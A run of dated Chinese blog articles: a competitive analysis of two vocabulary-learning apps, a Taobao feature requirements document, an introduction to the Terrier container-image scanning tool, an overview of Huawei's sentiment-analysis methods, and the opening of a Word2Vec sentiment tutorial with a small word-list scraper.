Tue, 16 Feb 2021 17:24:38 CST

导语：本文作者通过对百词斩和墨墨背单词这两款产品进行多维度的分析对比，了解其内在的产品逻辑，分析二者之间的差异性，对比它们的基础结构和功能特点，带大家深入了解了单词类APP未来的发展方向。

一、行业背景

1. 政策环境

我国政府鼓励教育行业积极应用新技术，鼓励发展在线教育，加深科技与教育的融合。

2. 经济环境

近年来，随着我国国民经济的持续发展，居民可支配收入稳步上涨。2020年，在疫情等特殊因素的影响下，我国的经济发展面临复杂的环境变化，增长有所波动，但中国经济高质量发展的基本形势并未发生根本变化，经济增长潜力依然具有持久韧性。

中国居民人均教育、文化和娱乐方面的支出在疫情来袭前，呈逐年上涨的趋势。根据国家统计局数据显示，2020年全国居民人均教育、文化和娱乐消费支出2032元，占人均消费支出的比重为9.6%，环比下降了19.1%。

3. 社会环境

中国在线教育行业进入高速发展期，根据中国互联网络信息中心(CNNIC)2021年2月发布的第47次《中国互联网络发展状况统计报告》显示，截至2020年12月，我国手机网民规模为9.86亿，较2020年3月新增手机网民8885万，网民中使用手机上网的比例为99.7%，较2020年3月提升0.4个百分点。

数据显示，我国在线教育行业自2017年开始快速发展，用户增速逐年攀升，2019年下半年至2020年上半年，用户增长了63.7%，在线教育用户数占全部网民的40.5%。2020年的互联网市场，受疫情影响，在线教育用户增长幅度大幅领先于其它互联网应用，行业增长趋势明显。

4. 技术环境

2020年上半年，中央密集部署加快“新基建”进度，“新基建”获得前所未有的重视，多个重要领域取得积极进展。截至2020年6月底，5G终端连接数已超过6000万，三家基础电信企业已开通5G基站超40万个。

5G的发展与普及为在线教育的发展提供了极其有利的技术和载体支持，而在线教育高效、便利、资源互通、低门槛、低成本等特性，打破了传统教育地域、时间等限制。

二、竞品选择

根据七麦数据显示，百词斩在iphone平台近30日日均下载量为12,980，墨墨背单词的下载量为4,408，同位于单词产品类的中上游。截止到2020年12月，易观千帆数据显示，百词斩和墨墨背单词在外语学习APP上排名分别为3和1。

综合下载量、榜单排名、用户评分等因素，选择百词斩和墨墨背单词作为竞品进行分析。

三、竞品基本信息

1. 产品基本信息

百词斩的Logo以深蓝色和白色为主色调，色彩鲜艳；Logo中的“100”寓意着“百词”，与产品名称相呼应，同时寓意着所用APP的同学能够取得100分的好成绩；“100”被动感十足的斩裂效果斜切开来，视觉呈现效果较为历练锋利，充满时尚感。

墨墨背单词的Logo以黑色和白色为主色调，简约时尚；Logo中的猫头鹰，在西方文化里是智慧的象征，卡通形象十分可爱，能够吸引青少年。

2. 用户分析

（1）性别分析

数据来源：艾瑞数据（百词斩）

数据来源：艾瑞数据（墨墨背单词）

性别分布是产品的重要特征之一，男女用户的习惯差异是非常大的。由上图可以看出，两个APP使用人群男女比例均约为5:5，比例较为协调。其中，女生偏爱百词斩，男生偏爱墨墨背单词。

（2）年龄分析

数据来源：艾瑞数据（百词斩）

数据来源：艾瑞数据（墨墨背单词）

由上图可以看出，百词斩的用户年龄较为分散，24岁以下的用户最多，约为35.92%，25-30岁的用户占比为18.8%，31-35岁的用户占到了三成；墨墨背单词的用户年龄更加集中，使用人群比例随年龄的增长而下降，30岁以下的用户共占到了67.16%。

从总体来看，两款APP的用户年龄主要集中在35岁以下。24岁以下的人群多为在校学生，小学生、初中生、高中生、大学生和研究生。在校学生需要参加相应的英语考试，如英语期末考试、考研、大学英语四六级考试等。25-30岁用户的年轻白领，事业大多处于上升期，这个年龄段的人也存在着学习英语的需求和意愿，他们更多的是需要提高英语对话和阅读的能力，丰富的词汇量则是学好英语的基础。

（3）地域分析

数据来源：艾瑞数据（百词斩）

数据来源：艾瑞数据（墨墨背单词）

从2020年两个软件的用户区域分布来看，沿海省份的用户数量占比较高，可以看出经济发达地区的人们更有自我提升的意识。此外，这两个软件在一些人口大省、高考大省，如浙江、山东的用户也有很多。

（4）用户需求

根据KANO模型，将用户需求分为五类：基本型需求、期望型需求、兴奋型需求、无差异型需求以及反向型需求。在做产品设计时，需要尽量避免无差异型需求和反向型需求，因此本文从基本型需求、期望型需求、兴奋型需求进行简单分析。

3. 产品结构分析

（1）百词斩产品结构图

在百词斩的产品信息架构上，分为【单词】、【训练】、【发现】、【周边】、【我】五大模块。路径较深，操作比较复杂，使用不够快捷。

【单词】主要由查词、背单词入口和推广三个部分组成。点击“开始背单词吧！”按钮即可开始学习新单词并复习学过的单词，这两个过程混合在一起进行。
【训练】训练模块可以进行快速复习、深度复习和场景单词的学习，用户能够通过多种复习方式提升自身的阅读、听力、写作和口语能力。
【发现】提供社交圈及其他拓展功能入口，可以和朋友组队、加入百词斩小班、挑战70秒单词PK。
【周边】直接跳转手机淘宝APP中“百词斩旗舰店”的首页。
【我的】为个人信息界面并提供官方商城、虚拟货币购买入口。

从产品结构图来看，墨墨背单词的整体结构比较简单，共有四个主功能模块【复习】、【选词】、【统计】、【设置】。操作逻辑简单，操作的路径均比较浅，便于用户对其进行操作使用。

【复习】主要由回忆页面和巩固页面组成。
【选词】用户可以选择任意词书，然后“顺选”或“随机”地选择单词进行学习。
【统计】墨墨背单词以图表的方式记录了你复习的情况，并配合丰富的奖励策略有效地督促用户更好的坚持复习，墨墨背单词包括三大图表统计系统：遗忘曲线、学习情况和记忆持久度。
【设置】可以了解自己的签到情况，进行学习设置，获取单词上限等。

4. 产品功能对比

两款应用软件都能满足用户对单词学习的基本需求，并且在此基础上，都具有各自的特色功能，如百词斩的社交功能、墨墨背单词的遗忘曲线等。这些特色功能既能增强用户粘性，同时又吸引新用户使用。

5. 主要功能对比

（1）首页

百词斩的UI以蓝色和白色为主。顶部为单词搜索栏，可以输入英文或中文进行查询。中间展示了当前所学的词书，并以进度条来展现该本词书的学习进度。首页提供单词列表、调整计划的入口，用户可以点击书籍图片进入“单词列表”的界面，查看已学单词、未学单词、已斩单词及收藏单词；点击“调整计划”按钮，更换词书或调整学习计划；点击“开始背单词吧！”进入学习/复习界面。界面下方是banner，推广同开发商旗下的英语课程及应用。

墨墨背单词的UI以绿色和灰色为主，打开即是复习界面，十分简洁。

（2）复习单词界面

百词斩是将学习和复习部分功能结合在一起的。一词配一图，帮助用户建立单词与真实环境的联系。若该单词已掌握，则可点击左下方的“斩”，跳过该单词直接到下一个单词的学习。在复习过程中，如一次即选对答案，则直接跳到下一个单词进行复习；若该单词较难，无法进行选择，可以点击灯泡标志获得该单词的提示（例句、英文释义、中文释义），根据提示选择答案，但提示不得超过三次，超过三次将直接跳转到单词详情页。

墨墨背单词在复习单词时有两种记忆模式可选，在设置中选择“看中文回忆英文”，可以检验英文拼写；选择“看英文回忆中文”，用户思考英文发音和中文释义，点击屏幕显示单词详情。新单词首次出现依然会是看英文回忆中文。

墨墨把用户对单词的掌握程度分为认识、模糊和忘记，应用将根据艾宾浩斯遗忘曲线的记忆规律有计划地安排单词重复出现，加深记忆。忘记的单词出现频率最高，模糊的单词次之，认识的单词未来几天将不会出现在复习列表中。长按“认识”向上滑动，还可以将单词标记为熟知的状态，那么用户在一年内都不会再见到这个单词。

分析：

如果说百词斩是选择题，那么墨墨背单词则是填空题，选择题可以依靠排除法选出正确答案，填空题则不行。
百词斩的复习机制是今日新学的单词，次日复习，之后不会重复出现，容易遗忘，墨墨背单词则会根据用户的记忆情况生成遗忘曲线，在每个单词即将到达遗忘临界点的时候安排下一次复习。

（3）单词释义界面（搜词）

对比单词释义界面可发现，两者的大部分元素是相同的，均包含了单词音标、朗读按钮、单词释义和例句。除此之外，百词斩还包含单词变形、相关图片、形近词，墨墨背单词还包含词频难度、难度等级、学习人数、认知比例、助记和词典。

分析：

百词斩的单词搜索栏在首页顶部，打开软件即可看到，而墨墨的搜索框在选词界面的顶部，不易发现。
百词斩仅显示一个例句，而墨墨背单词能显示三个例句，点击“更多”符号可以通过勾选显示更多的例句，还可以自行新建。
百词斩更适合视觉记忆者，把单词和实际情景联系起来进行记忆，配图基本都是夸张的漫画形式，记忆过程比较有趣，不会让人觉得枯燥乏味，但与此同时容易出现只认识图不记得图片意思的情况（因人而异）。墨墨背单词更适合联想记忆者，在应用提供了多种助记方式，如联想、串记、联想、谐音等，用户可以根据自身特点选择最有利于自己记忆的方法进行单词的学习，使人印象深刻，但可能过程会相对枯燥。

（4）打卡签到

两款软件都有学习后打卡的功能。打卡是用户在完成某项工作后的记录。站在商家的角度来看，打卡功能能够刺激用户分享，吸引新用户，而且可以提升用户的粘性。打卡流程基本都是：学习结束→结束页面→打卡→分享到社交平台。

站在用户的角度来看，每天进行学习打卡也有很多的好处。首先，坚持打卡会在不知不觉养成习惯，每天坚持打卡，如果有一天断签了话会非常的难受，所以很多老用户就算晚睡觉也一定要坚持打卡，打卡功能能够督促大家逐渐养成学习英语的习惯，合理利用碎片时间充实自我；此外，如果每天坚持将打卡分享到社交平台，用户可以通过社交平台打卡树立自己积极上进的形象，能够展示个人品位、兴趣等，在体现文化消费的同时还有利于促进社交平台的好友互动。

百词斩有四种类型的打卡封面：海报、照片、日历及词句。打卡封面上有百词斩的Logo、“我在百词斩背单词”的Slogan、日期、学习情况（今日所背单词数和坚持天数）及应用下载地址的二维码。打卡可以分享到朋友圈、微信好友、新浪微博等平台，还可以保存到手机相册。

墨墨背单词学完单词后，会出现今天的学习情况（今日奖励单词数、连续签到天数和今日学习单词数）以及“点击‘Peng~’一下！”的按钮，在点击时还会有盖章的音效，带给用户很强的仪式感。签到后墨墨会随机为用户盖上一个签到头像，头像是没有特殊含义的，如果连续获得一样的头像，会有额外的单词奖励。点击签到头像，可以查看每日的学习详情（三种状态的单词数量、新学及复习单词数、学习时长）。打卡图片可以分享给微信好友、QQ好友、新浪微博等。

（5）个人中心

两者的个人中心模块名称不同，百词斩为“我”，墨墨单词为“设置”，但元素大致相同，均包含昵称、头像、学习天数、词汇量测试、帮助。

两者均将功能分布在每个大模块之下，用标签栏进行隔开，保证了其他一级界面的简洁，并在此界面进行了商业化。铜板是百词斩的虚拟货币，用户可以通过参加斩家活动、加入百词斩小班或点击进入“我的铜板”进行购买，用来兑换优惠券购买百词斩商品，也可以兑换一些虚拟物品。墨墨背单词则是将单词上限、补签卡进行售卖。

6. 运营模式分析

AARRR漏斗模型又称为海盗模型，它解释了实现用户增长的5个指标，分别是：Acquisition（获取）、Activation（激活）、Retention（留存）、Revenue（收入）、Referral（自传播）。本文通过AARRR模型，对百词斩和墨墨背单词的运营模式进行了分析。

7. 盈利模式分析

四 SWOT分析

五总结

在疫情的特殊情况下，互联网语言教育行业发展迅速，发展空间广阔，但与此同时市场竞争也愈发激烈。因此，必须要不断学习竞品的优势，改进产品的缺陷，才能在激烈的市场竞争中求得生存与发展。

通过前面的竞品分析，百词斩和墨墨背单词这两款应用在核心功能上的差异不大，都能满足用户对于单词学习的基本需求。百词斩注重利用图形建立单词与真实环境的联系，以图背单词；墨墨背单词注重基于记忆曲线的单词学习体系。随着互联网语言教育产品功能的完善，系统化和趣味性需求逐渐凸显，让用户在充满乐趣的过程中学习单词将是未来的改进方向。

本文由 @Inno 原创发布于人人都是产品经理。未经许可，禁止转载

题图来自Unsplash，基于CC0协议

PRD：淘宝有好货需求文档

Fri, 10 Jul 2020 14:28:20 CST

编辑导语：随着移动互联网的发展，人们对网购的需求增加，用户需求呈现多样化和个性化。本文是作者通过体验手机淘宝的有好货功能模块做功能业务上的拓展，通过用户调研提出优化方向，并生成产品需求文档PRD。

需求文档：

迭代历史：

一、背景和目的

1. 需求背景

淘宝有好货位于首页正中间，能给宝贝商品带来庞大的流量，而有好货的slogan “1.3亿人推荐的品质好物”，进一步突出了有好货以精品为主的战略定位。

通过竞品分析和用户调研，发现淘宝有好货存在以下问题：

功能入口单一，流程上没有形成闭环，且有好货与淘宝的其他业务模块间缺少关联性。
在有好货中，种草社区不够完善，用户之间的互动性较低，缺少话题性。
商品品类较多，没有进行聚合，用户浏览好货商品的效率较低。

2. 需求目的

提升有好货的DAU，唤醒部分老用户，增加用户的粘性。
提升有好货的打开率，增加使用有好货功能的用户数量。
为其他业务做导流，提高商品的转化率。

3. 数据指标

日活/月活：DAU/MAU。
次日、七日、月留存率。
新增用户量。
PV点击率：点击次数/展现次数。
UV点击率：点击用户数/展现用户数。
日榜转化率：每日好物榜榜单的点击量/排行榜的总浏览量。
商品转化率：付费用户数/用户浏览总数。
跳出率：点击好物榜就离开的次数/点击好物榜后访问榜单的总次数。

二、需求概述

1. 核心功能

“好物榜”功能：在“有好货”中增加“好物榜”功能模块，并增加生鲜美食榜、情人礼物榜、旅行必备榜、居家生活榜等商品榜单内容。
“入选xxx榜第xxx名”功能：在商品详情页中增加商品入选榜单的排名情况。当用户浏览商品详情页时，商品正好是榜单推荐的内容时，就可以在商品详情页进行相应的榜单展示（“入选xxx榜第xxx名”），并引流到榜单页面。
“近xxx日售出xxx件”功能：根据商品销售情况，进行相应的内容展示。
“直播中”功能构件：当商品正在被人直播时，用户可以点击“直播中”button，进入直播页面观看直播。
评论展示：在好货分享区域下方，显示1-3条热门评论，并在下方显示“查看全部xxx条评论”几个字，用户点击后展开评论区查看相关评论内容。

2. 业务流程

3. 涉及开发方

三、需求详述

1. 好物榜

开发方：

客户端后台、推荐后台、搜索后台、卖家后台、图片库。
客户端：iOS端、Android端、前端、ipad端。

前置条件：

用户已登录，并在首页中点击有好货，进入第一个标签页面：好物榜。

规则逻辑：

热门榜单：

显示3类在榜单中热卖程度排名第一的商品。

单个榜单显示数据包括：

榜单名称、参加推荐总人数、排名标签、商品图片。

滑动至页面顶部：

用户下拉页面，逐步显示刷新文案“下拉刷新”，但还没有到达刷新状态时，松手后，刷新头部会自动隐藏。

用户下拉页面，显示刷新文案“下拉刷新”，当到达刷新状态时，松开手后即可完成内容刷新，如果下拉滑动距离过大，刷新头部会一直置顶，页面会不断下移。

内容刷新过程中，显示刷新文案“加载中…”；后台数据刷新后，显示刷新文案“刷新成功”并同时完成页面内容的刷新操作。

用户退出有好货页面后，5分钟后重新进入有好货，页面保持不变；5分钟后重新从首页进入有好货时，自动完成一次页面内容的刷新操作。

用户切出后台APP，5分钟内再次进入APP保持不变；5-15分钟后再进入APP时完成一次页面内容的刷新操作；15分钟后再进入APP时重新启动并加载首页。

页面下拉后，固定顶部导航栏区域，连续下拉时隐藏搜索栏及以下区域。

推荐榜单：

在“推荐”标签下，根据用户的历史浏览行为进行展示，为用户推荐符合其兴趣的榜单内容。

在推荐榜单的标签区域，显示垂直领域的榜单标签内容，除“推荐”外，还包括“家居生活”、“美颜护肤”、“养生健康”、“运动健身”、“数码家电”和“母婴生活”6个榜单标签。

推荐榜单（包括“推荐”标签和其余6类榜单标签）下，显示的榜单数量为10个，当用户下拉刷新页面或者重新进入有好货页面时，可以完成对推荐榜单内容的刷新操作。

单个榜单中显示的数据包括：榜单名称、当前榜单参加推荐总人数、名次、商品图片、商品标题、综合推荐值、商品推荐人数。

在页面没有进行滑动或向上滑动距离小于顶部到推荐榜单的距离时，手指在推荐榜单区域左右滑动，可以完成切换榜单标签的操作。

在滑动距离大于等于顶部到推荐榜单的距离时，顶部标签淡化消失，推荐榜单标签区域停在顶端不动，随榜单页面继续向下移动。在当前状态下，左右滑动页面，可以完成切换榜单标签的操作。（见上方右侧图片）

推荐后台中鉴别热门榜单和推荐榜单的内容情况，在同一时间段内，避免展示的榜单内容出现重复。

后置条件：

用例成功，用户进入排行榜页面，系统刷新页面并在排行榜中更新对应的榜单信息。

2. 搜索

开发方：

客户端后台、搜索后台、卖家后台、图片库。
客户端：iOS端、Android端、前端、ipad端。·前置条件：用户已登录，且处于好物榜页面中，并点击上方搜索框区域。

规则逻辑：

搜索栏中提供关键词搜索，点击输入框跳转到关键词搜索页面。
点击搜索输入框弹出字母键盘，搜索完成后页面将展示所有存在对应关键词的商品榜单内容。
点击取消按钮，退出搜索页面，返回到好物榜页面。
在关键词搜索页面提供历史搜索记录，方便用户快速搜索查找过的商品榜单。历史搜索记录中的关键词数量为1-10个，当数量超出10个时，删除栈底的搜索关键词，并将新的搜索关键词置于栈顶。
点击删除按钮，将所有历史搜索记录清空，并将“历史搜索”隐藏。·后置条件：用例成功，用户进入排行榜页面，系统刷新页面并在排行榜中更新对应的榜单信息。

3. 排行榜

开发方：

客户端后台、推荐后台、卖家后台、分享页、图片库。
客户端：iOS端、Android端、前端、分享页、ipad端。

前置条件：

用户已登录，且处于好物榜中某一排行榜内容区域。

规则逻辑：

排行榜依据销售额GMV累积计算得出，按照从大到小进行排序。GMV=访问数量*销售数量/访问数量*客单价。

单个商品区域显示数据包括：

名次、商品图片、商品标题、商品标签、达人头像、达人名称、推荐理由、推荐button。

商品标签的展示内容包括：

产品参数：型号、材质、款式、类型、颜色、风格、容量…

评价中的分类标签，例如材质很好、样式很好、做工不错、性价比高…对于畅销产品，比如化妆品、手机、支架、连衣裙等，优先展示评价中的分类标签；

而对于销量不高或偏冷门的产品，比如水壶、门窗、橱柜、日历等，则展示产品参数内容。

推理理由：显示好货详情页中达人推荐内容的第一句话的前28个字节（字母、数字占1个字节，标点符号、汉字占2个字节）。

排行榜互动：

商品推荐：点击推荐按钮，弹出底部窗口，选择推荐理由，可选推荐理由的数量为9个（多选；也可以不选）。点击确定按钮后，窗口从上到下滑动弹出，爱心图标从空心变成实心，文案从推荐变成已推荐，同时图标右边的数字+1（见上方第一、第二张图片）。
添加推荐：当用户没有选择推荐理由时，再次点击推荐按钮，弹出底部窗口，可以补充相应的推荐理由，可选推荐理由的数量为1-9个。点击确定按钮，完成推荐理由的补充，窗口从上到下滑动弹出，并在底部区域弹出“推荐理由补充成功”的提示文字，约2秒后消失（见上方第三、第四张图片）。
取消推荐：再次点击推荐按钮，弹出底部窗口，可以查看已选的推荐理由。点击“取消推荐”，取消对商品的推荐操作，窗口从上到下滑动弹出，并在底部区域弹出“已取消期待下次推荐”的提示文字，约2秒后消失（见上方第五、第六张图片）。

向上滑动时，滑动距离从0到顶部栏高度的过程中，图七红框区域由透明变成不透明，直到滑动距离大于等于顶部栏高度时，图七红框区域停在顶端固定不动，仅展示页面移动。

点击“全部榜单”，跳转到有好货的好物榜页面。

后置条件：

用例成功，用户进入某一商品的好货详情页中。

4. 入选榜单

开发方：

客户端后台、图片库、卖家后台。
客户端：iOS端、Android端、前端、分享页、ipad端。·前置条件：用户已登录，且处于某一商品的商品详情页中。

规则逻辑：

显示当前商品的入榜情况：“入选xxx榜单第xx名”。
入选区域展示数据包括：榜单图标、排行榜（固定文本）、入榜情况（“入选xxx榜单第xx名”，具体榜单名称和商品名次根据商品所属标签和排名依据自动生成）和向右的指引箭头。
点击排行榜入选区域，进入当前商品所在的排行榜展示页。

后置条件：

用例成功，用户进入某一商品所在的排行榜页面，系统刷新页面并在排行榜中更新对应的榜单信息。

5. 近期购买

开发方：

客户端后台、推荐后台、评论系统、图片库、卖家后台、直播后台。
客户端：iOS端、Android端、前端、分享页、ipad端。

前置条件：

用户已登录，且处于有好货中某一商品的好货详情页中。

规则逻辑：

显示商品的近期购买情况：“近xx日售出xxx件”。

近期购买显示规则：

对于消费频次高、近期购买量多的商品，显示“近7日售出xxx件”、“近3日售出xxx件”、“近24小时售出xxx件”等标签内容。
如果近24小时售出超100件以上，则显示“近24小时售出xxx件”；
如果近24小时内售出100件以下、近3日内售出200件以上，则显示“近3日售出xxx件”；
如果近3日内售出200件以下、近7日内售出500件以上，则显示“近7日售出xxx件”。
对于消费频次低、近期购买量少的商品，显示“近30日售出xxx件”、“累计售出xxx件”等内容。
如果“近7日售出xxx件”售出500件以下，近30日售出1000件以上，则显示“近30日售出xxx件”；
如果近30日售出1000件以下，则显示“累计售出xxx件”。

点击近期购买区域，跳转到当前商品的商品详情页。

后置条件：

用例成功，用户进入商品详情页，浏览当前商品的商详页内容。

6. 直播中

开发方：

客户端后台、图片库、卖家后台、直播后台。
客户端：iOS端、Android端、前端、ipad端。

前置条件：

用户已登录，且处于有好货中某一商品的好货详情页中。

规则逻辑：

显示当前正在直播中的商品直播间入口构件。
“直播中”构件展示数据包括：爱心图标、“直播中”文字和“去围观”button。
“直播中”构件固定在商品图片右上角区域，随页面的滑动一起向下移动。
点击“直播中”构件，跳转进入直播间页面。

后置条件：

用例成功，用户进入商品直播页，观看商品直播内容。

7. 评论展示

开发方：

客户端后台、评论系统、图片库、卖家后台。
客户端：iOS端、Android端、前端、ipad端。

前置条件：

用户已登录，且处于有好货中某一商品的好货详情页中。

规则逻辑：

显示一条当前商品评论中最新发布的评论内容。

评论展示区域显示的数据包括：用户名称、评论内容和“查看全部xxx条评论”（xxx根据当前商品在评论区的评论数量来展示）；

如果当前商品的评论数量为零，则“评论展示”自动隐藏，不展示评论内容和“查看全部xxx条评论”文字。

单击返回键或点击评论页面上方的任意区域，即可关闭评论弹窗。

点击“查看全部xxx条评论”，从下到上弹出评论窗口，可以查看当前商品的评论内容并进行相应的互动。

后置条件：

用例成功，系统从底部呼起评论组件，用户可进行互动和评论操作。

本文由@Runjer Tang原创发布于人人都是产品经理，未经许可，禁止转载。

题图来自 Unsplash，基于 CC0 协议。

Terrier：一款功能强大的镜像&容器安全分析工具

Sat, 13 Jun 2020 15:00:33 CST

Terrier是一款针对OCI镜像和容器的安全分析工具，Terrier可以帮助研究人员扫描OCI镜像和容器文件，并根据哈希来识别和验证特定文件是否存在。

工具安装

源代码：

如需了解源代码安装步骤，请参考项目的 Releases页面。

通过Go安装：

  $ go get github.com/heroku/terrier

源构建

通过Go：

  $ go build

或

  $ make all

工具使用

     $ ./terrier -h
   Usage of ./terrier:
   
   -cfg string
   Load config from provided yaml file (default "cfg.yml")

工具使用必须扫描镜像的OCI TAR，这个值需要通过cfg.yml文件提供给Terrier。

下列Docker命令可以用来将一个Docker镜像转换成一个TAR文件，并提供给Terrier扫描：

  # docker save imageid -o image.tar   $ ./terrier
   [+] Loading config: cfg.yml
   [+] Analysing Image
   [+] Docker Image Source:  image.tar
   [*] Inspecting Layer:  05c3c2c60920f68***6d3c66e0f6148b81a8b0831388c2d61be5ef02190bcd1f
   [!] All components were identified and verified: (493/493)

样本YML配置

Terrier会对YAML文件进行解析，下列给出的是样本配置文件：

深入理解NLP中的文本情感分析（华为）

Thu, 07 Nov 2019 21:09:02 CST

基本概念

为什么：随着移动互联网的普及，网民已经习惯于在网络上表达意见和建议，比如电商网站上对商品的评价、社交媒体中对品牌、产品、政策的评价等等。这些评价中都蕴含着巨大的商业价值。比如某品牌公司可以分析社交媒体上广大民众对该品牌的评价，如果负面评价忽然增多，就可以快速采取相应的行动。而这种正负面评价的分析就是情感分析的主要应用场景。
是什么：文本情感分析旨在分析出文本中针对某个对象的评价的正负面，比如“华为手机非常好”就是一个正面评价。情感分析主要有五个要素，（entity/ 实体，aspect/ 属性，opinion/ 观点，holder/ 观点持有者，time/ 时间），其中实体和属性合并称为评价对象 (target)。情感分析的目标就是从非结构化的文本评论中抽取出这五个要素。

上例中左侧为非结构化的评论文本，右侧为情感分析模型分析出的五个要素中的四个（不包括时间）。其中实体“华为手机”和属性“拍照”合并起来可以作为评价对象。评价对象又可细分为评价对象词抽取和评价对象类别识别。如实体可以是实体词和实体类别，实体词可以是“餐馆”、“饭店”、“路边摊”，而实体类别是“饭店”；属性可以是属性词和属性类别，如属性词可以是“水煮牛肉”、“三文鱼”等，都对应了属性类别“食物”。实体类别和属性类别相当于是对实体词和属性词的一层抽象和归类，是一对多的关系。词和类别分别对应了不同的任务。观点的取值范围一般是{正面，负面，中性}。类似的，可以把观点看做是对描述词的抽象和归类，如“好看”归为“正面”。

任务类型

当前研究中一般都不考虑情感分析五要素中的观点持有者和时间，故后文中的讨论都不考虑这两个因素。根据对剩下三个要素的简化，当前情感分析的主要任务包括可按照图 3 所示：词级别情感分析、句子/文档级情感分析、目标级情感分析。

其中词级别和句子级别的分析对象分别是一个词和整个句子的情感正负向，不区分句子中具体的目标，如实体或属性，相当于忽略了五要素中的实体和属性这两个要素。词级别情感分析，即情感词典构建，研究的是如何给词赋予情感信息，如“生日”对应的情感标签是“正面”。句子级 / 篇章级情感分析研究的是如何给整个句子或篇章打情感标签，如“今天天气非常好”对应的情感标签是“正面”。

而目标级情感分析是考虑了具体的目标，该目标可以是实体、某个实体的属性或实体加属性的组合。具体可分为三种：Target-grounded aspect based sentiment analysis (TG-ABSA), Target no aspect based sentiment analysis (TN-ABSA), Target aspect based sentiment analysis (T-ABSA). 其中 TG-ABSA 的分析对象是给定某一个实体的情况下该实体给定属性集合下的各个属性的情感分析，如下图中的实体是汽车，属性集合是动力、外观、空间和油耗。

TN-ABSA 的分析对象是文本中出现的实体的情感正负向，如下图中，实体华为和 XX 的情感正负向分别为正面和负面。这种情况下没有属性的概念，只有实体。

T-ABSA 的分析对象是文本中出现的实体和属性组合，如下图所示，评价对象是实体 + 属性的组合，如华为 + 拍照和 XX+ 性价比。

在清楚了目标级情感分析的分类之后，每个类别又都可以包含为两大类任务：第一个是评价对象的识别，第二个是情感识别。评价对象识别包括评价对象词抽取和评价对象词分类，情感识别包括评价词抽取和评价正负面分类。具体例子如图 7 所示。之所以要识别出对象词和评价词，是为了能够基于属性正负面过滤的时候可以高亮相应的评价文本片段。

本文主要介绍词级别情感分析、句子级情感分析和目标级情感分析中的 T-ABSA 的内容、方法和华为云语音语义团队在该领域实践中的一些成果。这里首先区分一些概念，本文所说的情感，包括 emotion 和 sentiment 两种。严格意义上来说 sentiment 属于 emotion 的一种，但是本文中不做区分。

词级文本情感分析

任务介绍

词级别的情感分析，即构建情感词典（sentiment lexicon），旨在给词赋予情感信息。这里首先要确定的是情感怎么表示，常见的表示方法有离散表示法和多维度表示法。离散表示法如情感分析领域常用的{正面，负面，中性}的表示方法，或者如表：

用离散表示法表示的情感词典如：高兴 – 正面，生日 – 正面，车祸 – 负面，灾难 – 负面

多维度表示法也有多种，如 Valence-Arousal-Dominance（VAD）模型，Evaluation-Potency-Activity（EPA）模型等。Valence 和 Evaluation 表示好坏，arousal 和 activity 表示人的唤起度，dominance 和 potency 表示控制力。

用连续多维表示方法的情感词典例子如：VAD 模型在 [1,9] 取值范围下：车祸可表示为 (2.05, 6.26, 3.76)

常见的方法

构建情感词典常见的方法如图所示：

人工标注优点是准确，缺点是成本太高。自动化方法中，都是先有人工标注一些种子词，然后通过不同的方法把种子词的标签信息扩展到其他词。基于点互信息的方法会基于大规模语料库统计新词和种子词之间的统计信息，然后基于该信息对种子词做加权求和得到信息的情感标签。基于标签传播的方法会先构建词和种子词的一个图，图上的边是基于词和词之间的统计信息获得。然后用标签传播的算法获得新词的情感信息。基于回归的方法先构建词的特征向量表示，然后基于种子词的标签信息训练一个回归或分类模型，得到该模型后再对新词做预测，获得新词的情感标签信息。

基于已经标注的情感词典，通过自动化的方法，构建了当前业界最大规模的多维度情感词典。

基于该方法，华为构建了业界最大规模的情感词典库，采用了 Valence-Arousal 的二维情感表示模型，情感值取值范围为 [-1,1]（-1 表示不好（对应 Valence 维度）或无唤醒（对应 Arousal 维度），1 表示好或高唤醒度）, 词典包含六百万词，例子如下：

句子文本情感分析

句子级和篇章级文本情感分析旨在整个句子或文章表达的情感倾向性，如下例子：

当前各友商推出的情感分析服务大部分都是这种整体文本的正负向预测。句子级情感分析服务在互联网时代的电商评论、政策评价中有着广泛的应用价值。句子级情感分析是一个典型的文本分类任务，团队也采用了当前比较有效的预训练模型 + 微调的方案，如下图所示：

当前华为已经上线了电商、汽车和社交领域的情感分析模型，主要支持中文语言，标签是正面和负面，带有标签置信度。

目标级文本情感分析

前面介绍的句子级或篇章级的情感分析只关注整个文本的正负面，没有区分文本中具体的评价对象。所以就处理不了如下的例子：

该例子对汽车的各个属性的评价正负面是不一样的，如对动力和外观来说是正面，对空间和油耗来说是负面，所以就不能简单的分析整体文本的正负面。本节介绍的目标情感分析中的 TG-ABSA 任务，即固定实体下的给定属性集合的评价正负面的预测。

传统的属性级情感分析可以采用每个属性训练一个情感分类模型。但是这种方法需要训练多个分类模型，成本比较高。我们提出了基于单模型多属性标签输出的方法，即一个模型同时输出 N 个属性的情感标签。下图是当前在汽车领域结果，其中 Attribute Hit Rate 是属性的命中率，即预测出的属性占评论中实际出现的比率。Hit Attribute Accuracy 是命中的属性标签预测的准确率，即在所有命中的属性中，标签预测正确属性的占比。因为我们的模型可以输出每个属性标签的置信度，所以可以基于置信度过滤来调节模型最终的输出标签，图中是个曲线。

下图是汽车领域属性级情感分析的例子，可以同时预测出评论中出现的动力和外观两个属性对应的正负面。该功能支持汽车领域的八个属性的评价预测，包括：内饰、动力、外观、性价比、操控、能耗、空间、舒适性。

原文出处： https://www.infoq.cn/article/XGoSsRfZRSupblTGGJCM

情感分析的现代方法（修复代码问题）

Thu, 07 Nov 2019 21:09:12 CST

最近在研究情感分析的内容，翻到了《 Modern Methods for Sentiment Analysis》这篇文章，这篇文章本身讲的方法并没有什么“现代”，采用的是一些传统的方法。这里摘录的部分内容，做一些学习。由于原文代码可能由于版本问题都无法运行，这里重新进行了整理。

Word2Vec的情感分析的作用

Word2Vec 可以识别单词之间重要的关系。这使得它在许多 NLP 项目和我们的情感分析案例中非常有用。将它运用到情感分析案例之前，让我们先来测试下 Word2Vec 对单词的分类能力。我们将利用三个分类的样本集：食物、运动和天气单词集合，我们可以从 Enchanted Learning下载得到这三个数据集。这里Word2Vec使用训练好的词向量文件： GoogleNews-vectors-negative300.bin

# 获取分类词
import requests
import re
from django.utils.html import strip_tags

pattern = re.compile("<div class=wordlist-item>(.*?)</div>")


def get_dict(category):
    url = "https://www.enchantedlearning.com/wordlist/{0}.shtml".format(category)
    r = requests.get(url)
    item_list = re.findall(pattern, r.text)
    for item in item_list:
        with open("./data/" + category + "_words.txt", 'a', encoding='utf-8') as f:
            f.write(strip_tags(item) + '\n')


if __name__ == "__main__":
    get_dict("sports")
    get_dict("food")
get_dict("weather")

